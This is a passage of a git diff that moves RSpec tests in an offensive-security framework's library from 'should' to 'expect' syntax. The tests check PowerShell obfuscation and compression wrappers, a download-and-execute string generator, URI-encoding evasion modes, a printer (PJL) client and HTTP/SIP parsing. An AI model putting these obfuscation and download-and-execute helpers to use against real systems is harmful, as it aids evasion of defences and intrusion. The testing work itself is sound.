subject.strip_whitespace - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('lots of whitespace').should be_truthy + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('lots of whitespace')).to be_truthy end end describe "::sub_vars" do it 'should replace variables with unique names' do subject.sub_vars - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('$kernel32').should be_falsey - subject.code.include?('$Logon').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('$kernel32')).to be_falsey + expect(subject.code.include?('$Logon')).to be_falsey end end describe "::sub_funcs" do it 'should replace functions with unique names' do subject.sub_funcs - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('Find-4624Logons')).to be_falsey end end describe "::standard_subs" do it 'should run all substitutions on a script with no literals' do subject_no_literal.standard_subs - subject_no_literal.code.should be - subject_no_literal.code.should be_kind_of String - subject_no_literal.code.include?('Find-4624Logons').should be_falsey - subject_no_literal.code.include?('lots of whitespace').should be_truthy - subject_no_literal.code.include?('$kernel32').should be_falsey - subject_no_literal.code.include?('comment').should be_falsey + expect(subject_no_literal.code).to be + expect(subject_no_literal.code).to be_kind_of String + expect(subject_no_literal.code.include?('Find-4624Logons')).to be_falsey + expect(subject_no_literal.code.include?('lots of whitespace')).to be_truthy + expect(subject_no_literal.code.include?('$kernel32')).to be_falsey + expect(subject_no_literal.code.include?('comment')).to be_falsey res = (subject_no_literal.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end it 'should run all substitutions except strip whitespace when literals are present' do subject.standard_subs - subject.code.should be - subject.code.should be_kind_of String - subject.code.include?('Find-4624Logons').should be_falsey - subject.code.include?('lots of whitespace').should be_falsey - subject.code.include?('$kernel32').should be_falsey - subject.code.include?('comment').should be_falsey + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.include?('Find-4624Logons')).to be_falsey + expect(subject.code.include?('lots of whitespace')).to be_falsey + expect(subject.code.include?('$kernel32')).to be_falsey + expect(subject.code.include?('comment')).to be_falsey res = (subject.code =~ /\r\n\r\n/) - res.should be_falsey + expect(res).to be_falsey end end end diff --git a/spec/lib/rex/powershell/output_spec.rb b/spec/lib/rex/powershell/output_spec.rb index db535640e9..e2d95c3dc0 100644 --- a/spec/lib/rex/powershell/output_spec.rb +++ b/spec/lib/rex/powershell/output_spec.rb @@ -19,75 +19,75 @@ RSpec.describe Rex::Powershell::Output do describe "::to_s" do it 'should print the script' do - subject.to_s.should eq example_script + expect(subject.to_s).to eq example_script end end describe "::size" do it 'should return the size of the script' do - subject.size.should eq example_script.size + expect(subject.size).to eq example_script.size end end describe "::to_s_lineno" do it 'should print the script with line numbers' do - subject.to_s_lineno.should eq "0: #{example_script}" + expect(subject.to_s_lineno).to eq "0: #{example_script}" end end describe "::deflate_code" do it 'should zlib the code and wrap in powershell in uncompression stub' do compressed = subject.deflate_code - compressed.include?('IO.Compression.DeflateStream').should be_truthy + expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - $1.size.should be < Rex::Text.encode_base64(example_script).size - compressed.should eq subject.code + expect($1.size).to be < Rex::Text.encode_base64(example_script).size + expect(compressed).to eq subject.code end it 'should append an eof marker if specified' do compressed = subject.deflate_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end describe "::encode_code" do it 'should base64 encode the code' do encoded = subject.encode_code - encoded.should eq subject.code + expect(encoded).to eq subject.code encoded =~ /^([A-Za-z0-9\/+=]+)$/ - $1.size.should eq encoded.size + expect($1.size).to eq encoded.size end end describe "::gzip_code" do it 'should gzip the code and wrap in powershell in uncompression stub' do compressed = subject.gzip_code - compressed.include?('IO.Compression.GzipStream').should be_truthy + expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ - $1.size.should be < Rex::Text.encode_base64(example_script).size - compressed.should eq subject.code + expect($1.size).to be < Rex::Text.encode_base64(example_script).size + expect(compressed).to eq subject.code end it 'should append an eof marker if specified' do compressed = subject.gzip_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end describe "::compress_code" do it 'should gzip by default' do compressed = subject.compress_code - compressed.include?('IO.Compression.GzipStream').should be_truthy + expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy end it 'should deflate if gzip is false' do compressed = subject.compress_code(nil,false) - compressed.include?('IO.Compression.DeflateStream').should be_truthy + expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy end it 'should append an eof' do compressed = subject.compress_code(eof) - compressed.include?("echo '#{eof}';").should be_truthy + expect(compressed.include?("echo '#{eof}';")).to be_truthy end end @@ -95,20 +95,20 @@ RSpec.describe Rex::Powershell::Output do it 'should locate the base64 string and decompress it when deflate is used' do compressed = subject.compress_code(nil, false) decompressed = subject.decompress_code - decompressed.should eq example_script + expect(decompressed).to eq example_script end it 'should locate the base64 string and decompress it when gzip is used' do compressed = subject.compress_code decompressed = subject.decompress_code - decompressed.should eq example_script + expect(decompressed).to eq example_script end it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do corrupted = "FromBase64String('parp')" subject.code = corrupted expect { subject.decompress_code }.to raise_error(RuntimeError) - subject.code.should eq corrupted + expect(subject.code).to eq corrupted end end end diff --git a/spec/lib/rex/powershell/param_spec.rb b/spec/lib/rex/powershell/param_spec.rb index da7cc4e8dd..741817e6a4 100644 --- a/spec/lib/rex/powershell/param_spec.rb +++ b/spec/lib/rex/powershell/param_spec.rb @@ -16,10 +16,10 @@ RSpec.describe Rex::Powershell::Param do describe "::initialize" do it 'should create a param' do param = Rex::Powershell::Param.new(klass_name, param_name) - param.should be - param.name.should eq param_name - param.klass.should eq klass_name - param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy + expect(param).to be + expect(param.name).to eq param_name + expect(param.klass).to eq klass_name + expect(param.to_s.include?("[#{klass_name}]$#{param_name}")).to be_truthy end end diff --git a/spec/lib/rex/powershell/parser_spec.rb b/spec/lib/rex/powershell/parser_spec.rb index 086b653ff4..e7d9a705b0 100644 --- a/spec/lib/rex/powershell/parser_spec.rb +++ b/spec/lib/rex/powershell/parser_spec.rb @@ -64,10 +64,10 @@ function Find-4624Logons describe "::get_var_names" do it 'should return some variable names' do vars = subject.get_var_names - vars.should be - vars.should be_kind_of Array - vars.length.should be > 0 - vars.include?('$ResultObj').should be_truthy + expect(vars).to be + expect(vars).to be_kind_of Array + expect(vars.length).to be > 0 + expect(vars.include?('$ResultObj')).to be_truthy end it 'should not match upper or lowercase reserved names' do @@ -76,48 +76,48 @@ function Find-4624Logons subject.code << "\r\n$ShellId" subject.code << "\r\n$shellid" after_vars = subject.get_var_names - initial_vars.should eq after_vars + expect(initial_vars).to eq after_vars end end describe "::get_func_names" do it 'should return some function names' do funcs = subject.get_func_names - funcs.should be - funcs.should be_kind_of Array - funcs.length.should be > 0 - funcs.include?('Find-4624Logons').should be_truthy + expect(funcs).to be + expect(funcs).to be_kind_of Array + expect(funcs.length).to be > 0 + expect(funcs.include?('Find-4624Logons')).to be_truthy end end describe "::get_string_literals" do it 'should return some string literals' do literals = subject.get_string_literals - literals.should be - literals.should be_kind_of Array - literals.length.should be > 0 - literals[0].include?('parp').should be_falsey + expect(literals).to be + expect(literals).to be_kind_of Array + expect(literals.length).to be > 0 + expect(literals[0].include?('parp')).to be_falsey end end describe "::scan_with_index" do it 'should scan code and return the items with an index' do scan = subject.scan_with_index('DllImport') - scan.should be - scan.should be_kind_of Array - scan.length.should be > 0 - scan[0].should be_kind_of Array - scan[0][0].should be_kind_of String - scan[0][1].should be_kind_of Integer + expect(scan).to be + expect(scan).to be_kind_of Array + expect(scan.length).to be > 0 + expect(scan[0]).to be_kind_of Array + expect(scan[0][0]).to be_kind_of String + expect(scan[0][1]).to be_kind_of Integer end end describe "::match_start" do it 'should match the correct brackets' do - subject.match_start('{').should eq '}' - subject.match_start('(').should eq ')' - subject.match_start('[').should eq ']' - subject.match_start('<').should eq '>' + expect(subject.match_start('{')).to eq '}' + expect(subject.match_start('(')).to eq ')' + expect(subject.match_start('[')).to eq ']' + expect(subject.match_start('<')).to eq '>' expect { subject.match_start('p') }.to raise_exception(ArgumentError) end end @@ -126,8 +126,8 @@ function Find-4624Logons it 'should extract a block between brackets given an index' do idx = subject.code.index('{') block = subject.block_extract(idx) - block.should be - block.should be_kind_of String + expect(block).to be + expect(block).to be_kind_of String end it 'should raise a runtime error if given an invalid index' do @@ -141,18 +141,18 @@ function Find-4624Logons describe "::get_func" do it 'should extract a function from the code' do function = subject.get_func('Find-4624Logons') - function.should be - function.should be_kind_of Rex::Powershell::Function + expect(function).to be + expect(function).to be_kind_of Rex::Powershell::Function end it 'should return nil if function doesnt exist' do function = subject.get_func(Rex::Text.rand_text_alpha(5)) - function.should be_nil + expect(function).to be_nil end it 'should delete the function if delete is true' do function = subject.get_func('Find-4624Logons', true) - subject.code.include?('DllImport').should be_falsey + expect(subject.code.include?('DllImport')).to be_falsey end end end diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb index ddfa717e17..cd65c474b9 100644 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/powershell/psh_methods_spec.rb @@ -8,45 +8,45 @@ RSpec.describe Rex::Powershell::PshMethods do describe "::download" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.download('a','b') - script.should be - script.include?('WebClient').should be_truthy + expect(script).to be + expect(script.include?('WebClient')).to be_truthy end end describe "::uninstall" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.uninstall('a') - script.should be - script.include?('Win32_Product').should be_truthy + expect(script).to be + expect(script.include?('Win32_Product')).to be_truthy end end describe "::secure_string" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.secure_string('a') - script.should be - script.include?('AsPlainText').should be_truthy + expect(script).to be + expect(script.include?('AsPlainText')).to be_truthy end end describe "::who_locked_file" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.who_locked_file('a') - script.should be - script.include?('Get-Process').should be_truthy + expect(script).to be + expect(script.include?('Get-Process')).to be_truthy end end describe "::get_last_login" do it 'should return some powershell' do script = Rex::Powershell::PshMethods.get_last_login('a') - script.should be - script.include?('Get-QADComputer').should be_truthy + expect(script).to be + expect(script.include?('Get-QADComputer')).to be_truthy end end describe "::proxy_aware_download_and_exec_string" do it 'should return some powershell' do url = 'http://blah' script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) - script.should be - script.include?(url).should be_truthy - script.downcase.include?('downloadstring').should be_truthy + expect(script).to be + expect(script.include?(url)).to be_truthy + expect(script.downcase.include?('downloadstring')).to be_truthy end end end diff --git a/spec/lib/rex/powershell/script_spec.rb b/spec/lib/rex/powershell/script_spec.rb index c770070c9c..47b723842b 100644 --- a/spec/lib/rex/powershell/script_spec.rb +++ b/spec/lib/rex/powershell/script_spec.rb @@ -15,32 +15,32 @@ RSpec.describe Rex::Powershell::Output do describe "::initialize" do it 'should create a new script object' do - subject.should be - subject.should be_kind_of Rex::Powershell::Script - subject.rig.should be - subject.rig.should be_kind_of Rex::RandomIdentifierGenerator - subject.code.should be - subject.code.should be_kind_of String - subject.code.empty?.should be_falsey - subject.functions.empty?.should be_truthy + expect(subject).to be + expect(subject).to be_kind_of Rex::Powershell::Script + expect(subject.rig).to be + expect(subject.rig).to be_kind_of Rex::RandomIdentifierGenerator + expect(subject.code).to be + expect(subject.code).to be_kind_of String + expect(subject.code.empty?).to be_falsey + expect(subject.functions.empty?).to be_truthy end end describe "::to_byte_array" do it 'should generate a powershell byte array' do byte_array = Rex::Powershell::Script.to_byte_array("parp") - byte_array.should be - byte_array.should be_kind_of String - byte_array.include?('[Byte[]] $').should be_truthy + expect(byte_array).to be + expect(byte_array).to be_kind_of String + expect(byte_array.include?('[Byte[]] $')).to be_truthy end end describe "::code_modifiers" do it 'should return an array of modifier methods' do mods = Rex::Powershell::Script.code_modifiers - mods.should be - mods.should be_kind_of Array - mods.empty?.should be_falsey + expect(mods).to be + expect(mods).to be_kind_of Array + expect(mods.empty?).to be_falsey end end diff --git a/spec/lib/rex/powershell_spec.rb b/spec/lib/rex/powershell_spec.rb index 7cc4276710..8fe0c28d86 100644 --- a/spec/lib/rex/powershell_spec.rb +++ b/spec/lib/rex/powershell_spec.rb @@ -24,22 +24,22 @@ DumpHashes""" describe "::read_script" do it 'should create a script from a string input' do script = described_class.read_script(example_script) - script.should be_a_kind_of Rex::Powershell::Script + expect(script).to be_a_kind_of Rex::Powershell::Script end end describe "::process_subs" do it 'should create an array of substitutions to process' do subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;") - subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] + expect(subs).to eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] end end describe "::make_subs" do it 'should substitute values in script' do script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) - script.include?('BitConverter').should be_falsey - script.include?('ParpConverter').should be_truthy + expect(script.include?('BitConverter')).to be_falsey + expect(script.include?('ParpConverter')).to be_truthy end end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 0d60e84b94..8124e67200 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -23,8 +23,8 @@ RSpec.shared_context "with 'uri_dir_self_reference'" do end it "should have a self reference" do - client_request.send(:set_uri).should include("/./") - client_request.to_s.should include("/./") + expect(client_request.send(:set_uri)).to include("/./") + expect(client_request.to_s).to include("/./") end end @@ -35,8 +35,8 @@ RSpec.shared_context "with 'uri_dir_fake_relative'" do end it "should contain sequences of '../'" do - client_request.send(:set_uri).should include("../") - client_request.to_s.should include("../") + expect(client_request.send(:set_uri)).to include("../") + expect(client_request.to_s).to include("../") end end @@ -75,7 +75,7 @@ end RSpec.shared_examples "uri_full_url" do it "#set_uri should have the host in the URI" do - client_request.send(:set_uri).should start_with("http://#{host}/") + expect(client_request.send(:set_uri)).to start_with("http://#{host}/") end end @@ -215,12 +215,12 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_params) { false } it "should contain the unaltered params" do str = client_request.to_s - str.should include("foo[]=bar") - str.should include("bar=baz") - str.should include("frobnicate=the froozle?") - str.should include("foshizzle=my/nizzle") - str.should include("asdf&") - str.should include("test=") + expect(str).to include("foo[]=bar") + expect(str).to include("bar=baz") + expect(str).to include("frobnicate=the froozle?") + expect(str).to include("foshizzle=my/nizzle") + expect(str).to include("asdf&") + expect(str).to include("test=") end end @@ -229,12 +229,12 @@ RSpec.describe Rex::Proto::Http::ClientRequest do context "and 'uri_encode_mode' = default (hex-normal)" do it "should encode special chars" do str = client_request.to_s - str.should include("foo%5b%5d=bar") - str.should include("bar=baz") - str.should include("frobnicate=the%20froozle%3f") - str.should include("foshizzle=my/nizzle") - str.should include("asdf&") - str.should include("test=") + expect(str).to include("foo%5b%5d=bar") + expect(str).to include("bar=baz") + expect(str).to include("frobnicate=the%20froozle%3f") + expect(str).to include("foshizzle=my/nizzle") + expect(str).to include("asdf&") + expect(str).to include("test=") end end @@ -242,10 +242,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_mode) { 'hex-noslashes' } it "should encode all chars" do str = client_request.to_s - str.should include("%66%6f%6f%5b%5d=%62%61%72") - str.should include("%62%61%72=%62%61%7a") - str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") - str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") + expect(str).to include("%66%6f%6f%5b%5d=%62%61%72") + expect(str).to include("%62%61%72=%62%61%7a") + expect(str).to include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + expect(str).to include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79/%6e%69%7a%7a%6c%65") end end @@ -253,10 +253,10 @@ RSpec.describe Rex::Proto::Http::ClientRequest do let(:encode_mode) { 'hex-all' } it "should encode all chars" do str = client_request.to_s - str.should include("%66%6f%6f%5b%5d=%62%61%72") - str.should include("%62%61%72=%62%61%7a") - str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") - str.should include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") + expect(str).to include("%66%6f%6f%5b%5d=%62%61%72") + expect(str).to include("%62%61%72=%62%61%7a") + expect(str).to include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + expect(str).to include("%66%6f%73%68%69%7a%7a%6c%65=%6d%79%2f%6e%69%7a%7a%6c%65") end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 65e037b488..1cd665cbb6 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -44,27 +44,27 @@ RSpec.describe Rex::Proto::Http::Client do end it "should respond to intialize" do - cli.should be + expect(cli).to be end it "should have a set of default instance variables" do expect(cli.instance_variable_get(:@hostname)).to eq ip expect(cli.instance_variable_get(:@port)).to eq 80 expect(cli.instance_variable_get(:@context)).to eq {} - cli.instance_variable_get(:@ssl).should be_falsey - cli.instance_variable_get(:@proxies).should be_nil - cli.instance_variable_get(:@username).should be_empty - cli.instance_variable_get(:@password).should be_empty - cli.config.should be_a_kind_of Hash + expect(cli.instance_variable_get(:@ssl)).to be_falsey + expect(cli.instance_variable_get(:@proxies)).to be_nil + expect(cli.instance_variable_get(:@username)).to be_empty + expect(cli.instance_variable_get(:@password)).to be_empty + expect(cli.config).to be_a_kind_of Hash end it "should produce a raw HTTP request" do - cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + expect(cli.request_raw).to be_a_kind_of Rex::Proto::Http::ClientRequest end it "should produce a CGI HTTP request" do req = cli.request_cgi - req.should be_a_kind_of Rex::Proto::Http::ClientRequest + expect(req).to be_a_kind_of Rex::Proto::Http::ClientRequest end context "with authorization" do @@ -84,13 +84,13 @@ RSpec.describe Rex::Proto::Http::Client do it "should have one Authorization header" do req = cli.request_cgi match = req.to_s.match("Authorization: Basic") - match.should be + expect(match).to be expect(match.length).to eq 1 end it "should prefer the value in the header" do req = cli.request_cgi match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be + expect(match).to be expect(match.captures.length).to eq 1 expect(match.captures[0].chomp).to eq base64 end @@ -129,7 +129,7 @@ RSpec.describe Rex::Proto::Http::Client do nil end expect(conn).to receive(:put) do |str_request| - str_request.should include("Authorization") + expect(str_request).to include("Authorization") nil end @@ -153,7 +153,7 @@ RSpec.describe Rex::Proto::Http::Client do end it "should be able to close a connection" do - cli.close.should be_nil + expect(cli.close).to be_nil end it "should send a request and receive a response", :skip => excuse_needs_connection do @@ -172,7 +172,7 @@ RSpec.describe Rex::Proto::Http::Client do skip "Should actually respond to :has_creds" do cli.should_not have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds + expect(this_cli).to have_creds end end @@ -198,37 +198,32 @@ RSpec.describe Rex::Proto::Http::Client do end it "should end a connection with a stop" do - cli.stop.should be_nil + expect(cli.stop).to be_nil end it "should test if a connection is valid" do - cli.conn?.should be_falsey + expect(cli.conn?).to be_falsey end it "should tell if pipelining is enabled" do cli.should_not be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true - this_cli.should be_pipelining + expect(this_cli).to be_pipelining end it "should respond to its various accessors" do - cli.should respond_to :config - cli.should respond_to :config_types - cli.should respond_to :pipeline - cli.should respond_to :local_host - cli.should respond_to :local_port - cli.should respond_to :conn - cli.should respond_to :context - cli.should respond_to :proxies - cli.should respond_to :username - cli.should respond_to :password - cli.should respond_to :junk_pipeline - # These are protected. Why are they protected? Hysterical raisins. - #cli.should respond_to :ssl - #cli.should respond_to :ssl_version - #cli.should respond_to :hostname - #cli.should respond_to :port + expect(cli).to respond_to :config + expect(cli).to respond_to :config_types + expect(cli).to respond_to :pipeline + expect(cli).to respond_to :local_host + expect(cli).to respond_to :local_port + expect(cli).to respond_to :conn + expect(cli).to respond_to :context + expect(cli).to respond_to :proxies + expect(cli).to respond_to :username + expect(cli).to respond_to :password + expect(cli).to respond_to :junk_pipeline end # Not super sure why these are protected... diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 643475e48d..29e458d344 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -329,13 +329,13 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns empty string for no Set-Cookies' do resp = described_class.new() resp.parse(get_cookies_test_no_cookies) - resp.get_cookies.should eq('') + expect(resp.get_cookies).to eq('') end it 'returns 5 cookies when given 5 cookies non-sequentially' do cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) - cookies_array.count.should eq(5) - cookies_array.should =~ %w( + expect(cookies_array.count).to eq(5) + expect(cookies_array).to =~ %w( pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D @@ -346,7 +346,7 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns and parses 5 cookies when given 5 ordered cookies' do cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) - cookies_array.count.should eq(5) + expect(cookies_array.count).to eq(5) expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci @@ -355,12 +355,12 @@ RSpec.describe Rex::Proto::Http::Response do superC00kie!=stupidcookie } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses an empty cookie value' do cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) - cookies_array.count.should eq(5) + expect(cookies_array.count).to eq(5) expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci @@ -369,31 +369,31 @@ RSpec.describe Rex::Proto::Http::Response do phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses multiple cookies in one Set-Cookie header' do cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) - cookies_array.count.should eq(2) + expect(cookies_array.count).to eq(2) expected_cookies = %w{ wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses comma separated cookies' do cookies_array = cookie_sanity_check(:get_cookies_comma_separated) - cookies_array.count.should eq(3) + expect(cookies_array.count).to eq(3) expected_cookies = %w{ cval=880350187 session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28 uid=348637C4-9B10-485A-BFA9-5E892432FCFD } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index f4d6aed9af..734106b398 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -22,7 +22,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#initialize" do it "should initialize a 'sock' ivar" do - cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Double) + expect(cli.instance_variable_get(:@sock).class).to eq(RSpec::Mocks::Double) end end @@ -44,7 +44,7 @@ RSpec.describe Rex::Proto::PJL::Client do end it "should receive a response for an INFO request" do - cli.info(:id).should eq(default_response) + expect(cli.info(:id)).to eq(default_response) end end @@ -52,7 +52,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the version information" do fake_version = '"1337"' expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) - cli.info_id.should eq('1337') + expect(cli.info_id).to eq('1337') end end @@ -60,7 +60,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) - cli.info_variables.should eq('PASSWORD=DISABLED') + expect(cli.info_variables).to eq('PASSWORD=DISABLED') end end @@ -68,7 +68,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) - cli.info_filesys.should eq('DIR') + expect(cli.info_filesys).to eq('DIR') end end @@ -76,7 +76,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) - cli.get_rdymsg.should eq('RES') + expect(cli.get_rdymsg).to eq('RES') end end @@ -107,7 +107,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsquery("1:").should eq(true) + expect(tmp_cli.fsquery("1:")).to eq(true) end end @@ -122,7 +122,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdirlist("1:").should eq('DIR') + expect(tmp_cli.fsdirlist("1:")).to eq('DIR') end end @@ -137,7 +137,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsupload("1:").should eq('FILE') + expect(tmp_cli.fsupload("1:")).to eq('FILE') end end @@ -152,7 +152,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdownload("/dev/null", "1:").should eq(true) + expect(tmp_cli.fsdownload("/dev/null", "1:")).to eq(true) end end @@ -167,7 +167,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdelete("1:").should eq(true) + expect(tmp_cli.fsdelete("1:")).to eq(true) end end end diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb index df76b2052c..c614a9488d 100644 --- a/spec/lib/rex/proto/sip/response_spec.rb +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -7,22 +7,22 @@ RSpec.describe 'Rex::Proto::SIP::Response parsing' do specify do resp = 'SIP/1.0 123 Sure, OK' r = ::Rex::Proto::SIP::Response.parse(resp) - r.status_line.should eq(resp) - r.version.should eq('1.0') - r.code.should eq('123') - r.message.should eq('Sure, OK') - r.headers.should be_nil + expect(r.status_line).to eq(resp) + expect(r.version).to eq('1.0') + expect(r.code).to eq('123') + expect(r.message).to eq('Sure, OK') + expect(r.headers).to be_nil end specify do resp = "SIP/2.0 200 OK\r\nFoo: bar\r\nBlah: 0\r\nFoO: blaf\r\n" r = ::Rex::Proto::SIP::Response.parse(resp) - r.status_line.should eq('SIP/2.0 200 OK') - r.version.should eq('2.0') - r.code.should eq('200') - r.message.should eq('OK') - r.headers.should eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) - r.header('Foo').should eq %w(bar blaf) + expect(r.status_line).to eq('SIP/2.0 200 OK') + expect(r.version).to eq('2.0') + expect(r.code).to eq('200') + expect(r.message).to eq('OK') + expect(r.headers).to eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) + expect(r.header('Foo')).to eq %w(bar blaf) end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 9e73eb37cb..28a6c579df 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -17,22 +17,22 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#generate" do it "should respect :min_length" do 1000.times do - rig.generate.length.should >= options[:min_length] + expect(rig.generate.length).to >= options[:min_length] end end it "should respect :max_length" do 1000.times do - rig.generate.length.should <= options[:max_length] + expect(rig.generate.length).to <= options[:max_length] end end it "should allow mangling in a block" do ident = rig.generate { |identifier| identifier.upcase } - ident.should match(/\A[A-Z0-9_]*\Z/) + expect(ident).to 